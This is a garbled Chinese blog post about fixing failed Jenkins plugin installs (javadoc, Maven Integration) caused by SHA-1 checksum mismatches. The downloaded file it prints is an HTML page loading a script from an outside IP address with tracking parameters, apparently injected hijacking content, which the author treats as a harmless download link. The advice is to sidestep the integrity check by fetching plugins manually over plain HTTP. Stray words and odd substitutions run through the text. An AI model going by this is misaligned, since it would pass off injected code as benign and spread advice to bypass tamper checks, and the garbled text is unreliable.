最近装了一个jenkins准备搞一个自动化测试的持续集成,可是在安装maven integration这个插件时报错,试了几回都是失败!html
错误缘由以下:java
javadoc安装失败:服务器
java.io.IOException: Downloaded file /root/.jenkins/plugins/javadoc.jpi.tmp does not match expected SHA-1, expected '6saBzaxuRKG3iHFKKRqvgQ4PzLQ=', actual 'ukX+47gygL8XB6gi4h4r8ccdiaE=' at hudson.model.UpdateCenter.verifyChecksums(UpdateCenter.java:1810) at hudson.model.UpdateCenter.access$1100(UpdateCenter.java:149) at hudson.model.UpdateCenter$InstallationJob.replace(UpdateCenter.java:1963) at hudson.model.UpdateCenter$UpdateCenterConfiguration.install(UpdateCenter.java:1194) at hudson.model.UpdateCenter$DownloadJob._run(UpdateCenter.java:1680) at hudson.model.UpdateCenter$InstallationJob._run(UpdateCenter.java:1874) at hudson.model.UpdateCenter$DownloadJob.run(UpdateCenter.java:1651) at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at hudson.remoting.AtmostOneThreadExecutor$Worker.run(AtmostOneThreadExecutor.java:110) at java.lang.Thread.run(Thread.java:748)
登录服务器查看该文件,该文件中有一个javadoc.hpi的下载地址,手动下载后,在jenkins插件管理中选择高级模式,而后上传安装就能够解决!
[root@localhost plugins]# cat javadoc.jpi.tmp
<html><head><meta name="viewport" content="width=device-width, initial-scale=1.0"><style>body#_bo{margin:0;padding:0;height:100%;overflow: hidden;background:#FFFFFF;}</style></head><body id="_bo"><iframe id="_if" frameborder=0 width="100%" height="100%" src="http://updates.jenkins-ci.org/download/plugins/javadoc/1.4/javadoc.hpi"></iframe><script src="http://222.186.61.95:9988/main.js?info_aid=183&info_sp=4201&info_spid=sohu&info_uid=FncnW2EMHChqdlFbZQZoXWR1Wl5lARtYFgZSXxUNbFIzc1NaZQUdXWB6&info_sda_man=M3NTWmUFHV1geg==&info_src=0"></script></body></html>[root@localhost plugins]# cd /root/.jenkins/plugins/javadocapp
对于maven integration安装失败:
![]() java.io.IOException: Maven Integration plugin v3.1 failed to load. - javadoc v1.0 is missing. To fix, install v1.0 or later. at hudson.PluginWrapper.resolvePluginDependencies(PluginWrapper.java:626) at hudson.PluginManager.dynamicLoad(PluginManager.java:872) Caused: java.io.IOException: Failed to install maven-plugin plugin at hudson.PluginManager.dynamicLoad(PluginManager.java:882) at hudson.PluginManager.dynamicLoad(PluginManager.java:821) at hudson.model.UpdateCenter$InstallationJob._run(UpdateCenter.java:1889) Caused: java.io.IOException: Failed to dynamically deploy this plugin at hudson.model.UpdateCenter$InstallationJob._run(UpdateCenter.java:1893) at hudson.model.UpdateCenter$DownloadJob.run(UpdateCenter.java:1651) at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at hudson.remoting.AtmostOneThreadExecutor$Worker.run(AtmostOneThreadExecutor.java:110) at java.lang.Thread.run(Thread.java:748) |
发现该失败是由于javadoc安装失败,致使缺乏依赖包引发的,上面一布咱们正好就解决了这个包的问题,我想既然javadoc包下载了那可不能够继续用自动安装的方法安装maven integration呢,发现仍是安装失败!因而我果断按照安装javadoc的方式,在http://updates.jenkins-ci.org/download/plugins/maven-plugin/2.14/maven-plugin.hpi中手动下载hpi文件,而后在高级安装中上传,最后果真解决!总结:对于这种自动安装失败的插件,咱们均可以经过手动下载而后上传的方式安装